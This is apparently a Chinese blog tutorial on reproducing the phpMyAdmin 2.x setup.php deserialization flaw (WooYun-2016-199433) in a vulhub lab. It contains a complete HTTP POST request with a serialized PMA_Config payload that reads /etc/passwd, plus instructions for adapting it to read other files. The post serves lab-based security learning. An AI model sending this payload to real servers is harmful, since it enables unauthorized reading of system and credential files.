phpmyadmin 2.x版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码。

通过vulhub靶场进行复现操作

1.首先搭建靶场环境(采用Kali)

cd vulhub/phpmyadmin/WooYun-2016-199433  //进入对应漏洞目录,具体参照vulhub.orgsudo docker-compose build           //编译相对应环境           sudo docker-compose -up -d         //搭建靶场环境

搭建成功

环境启动后,访问http://your-ip:8080,即可看到phpmyadmin的首页。因为没有连接数据库,所以此时会报错,但我们这个漏洞的利用与数据库无关,所以忽略。

看到此页面则靶场搭建成功

 利用Kali自带的BurpSuite进行抓包

 全选发送到Repeater

发送如下数据包,即可读取/etc/passwd

POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

 如图所示,再点击send即可发送数据包

 (最为重要的内容)注意:红框部分,s:11:"/etc/passwd"   表示变量类型:变量数量:变量内容

若要变为其他文件,则需要改变相应位置的类型、数量、内容

如/etc/passwd一共是11个字符

反序列化具体参照

简单了解反序列化 - upstream_yu - 博客园 (cnblogs.com)

 点击send之后就会返回数据了

 总结:漏洞操作简单易懂,主要涉及BurpSuite相关操作,适合新手体验

别忘记关闭靶场环境噢

sudo docker-compose down

phpmyadmin scripts/setup.php 反序列化漏洞(WooYun-2016-199433)(Kali)相关推荐

  1. 漏洞复现-Phpmyadmin setup.php反序列化漏洞(WooYun-2016-199433)

    Phpmyadmin setup漏洞复现 漏洞描述 影响版本 漏洞复现 漏洞修复 漏洞描述 phpMyAdmin是用PHP编写的工具,用于通过WEB管理MySQL. phpMyAdmin的Setup脚 ...

  2. phpmyadmin/scripts/setup.php,Linux下phpMyAdmin安装过程中的问题解决

    1.下载phpMyAdmin,自己想办法拷到/var/www/html下,并解压,开始使用. http://IP/phpMyAdmin测试 cp config.sample.inc.php confi ...

  3. phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via A Crafted POST Request CVE-2010-3055

    目录 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 The configuration setup script (aka ...

  4. [Vulhub](WooYun-2016-199433)phpmyadmin反序列化漏洞

    0x00 预备知识 什么是序列化 序列化 (serialize)是将对象的状态信息转换为可以存储或传输的形式的过程.在序列化期间,对象将其当前状态写入到临时或持久性存储区.以后,可以通过从存储区中读取 ...

  5. WooYun-2016-199433 phpmyadmin 反序列化漏洞

    漏洞简介 phpmyadmin 2.x版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码. 漏洞复现 执行如下命令启动phpmyadmin: docker-compose u ...

  6. WooYun-2016-199433 phpmyadmin反序列化漏洞复现

    目录 漏洞描述 影响版本 漏洞环境搭建 漏洞分析 漏洞利用 漏洞加固 漏洞描述   phpmyadmin 2.x 版本中存在反序列化漏洞,当服务器执行了黑客精心构造的payload时,会造成类中的变量 ...

  7. rmi 反序列化漏洞_IDEA动态调试(二)——反序列化漏洞(Fastjson)

    一.反序列化的原理及特点 1.什么是反序列化 序列化就是把java类转换成字节流,xml数据.json格式数据等: 反序列化就是把字节流,xml数据.json格式数据转换回java类. 2.反序列化漏 ...

  8. 【CyberSecurityLearning 69】反序列化漏洞

    目录 反序列化 为什么要序列化 PHP 中序列化与反序列化 *简单的例子 *序列化Demo *漏洞何在? @ 创建一个类,一个对象并将其序列化和反序列化 @ 反序列化注入 *为什么会这样呢 实战:Ty ...

  9. common-collections中Java反序列化漏洞导致的RCE原理分析

    2019独角兽企业重金招聘Python工程师标准>>> common-collections中Java反序列化漏洞导致的RCE原理分析 隐形人真忙 · 2015/11/11 22:4 ...

最新文章

  1. 最新手机号段归属地数据库(2017年4月16日版)免费下载
  2. 如何修改WINDOWS默认的3389远程端口
  3. mysql key value 排序_MySQL利用索引优化ORDER BY排序语句的方法
  4. 两台Oracle服务器,使用udl测试连接
  5. ML之回归预测:利用13种机器学习算法对Boston(波士顿房价)数据集【13+1,506】进行回归预测(房价预测)来比较各模型性能
  6. 基于注解的方式装配bean
  7. 系统架构师学习笔记-操作系统(二)
  8. 中国高校鄙视链指南...
  9. 值得收藏的50个学习C语言的源代码网站
  10. 物联网终端安全系列(之二) -- 物联网终端安全需求分析
  11. python生成热力图_pyHeatMap生成热力图
  12. 【BZOJ1814】Ural 1519 Formula 1 (插头dp)
  13. PS简单入门须知的小技巧
  14. element tree不刷新视图_我不告诉你的话,你不会知道iPad原来也有这么多窍门,学起来...
  15. cPanel/WHM前台后台的常用操作
  16. 信息安全专业要计算机好吗,哪些单位需要计算机信息安全专业的
  17. codeforces 1567 C. Carrying Conundrum
  18. 小学四则运算生成器(Java实现)
  19. pytorch神经网络因素预测_神经网络与PyTorch实战
  20. 关于antispy反间谍软件的研究

热门文章

  1. 九月学习笔记 (FM、一些论文阅读、代码)
  2. 聚合函数的计算机控件,ACCESS VBA编程必须掌握的聚合函数(判断 表 值).doc
  3. KIS 标准版 银行存款日记账扎帐后本期期初不等于上期期末余额
  4. php微信登录代理转发,PHP微信网页授权登录
  5. 搭建IPFS网络私网教程
  6. IPFS-私有网络集群搭建
  7. androud 常用组件
  8. linux 非登录shell自动,Linux 交互/非交互/登录/非登录 shell 的区别
  9. 幻灯片制作软件Movavi Slideshow Maker mac
  10. 没学过编程,本科学历,Java学到什么程度才能找工作?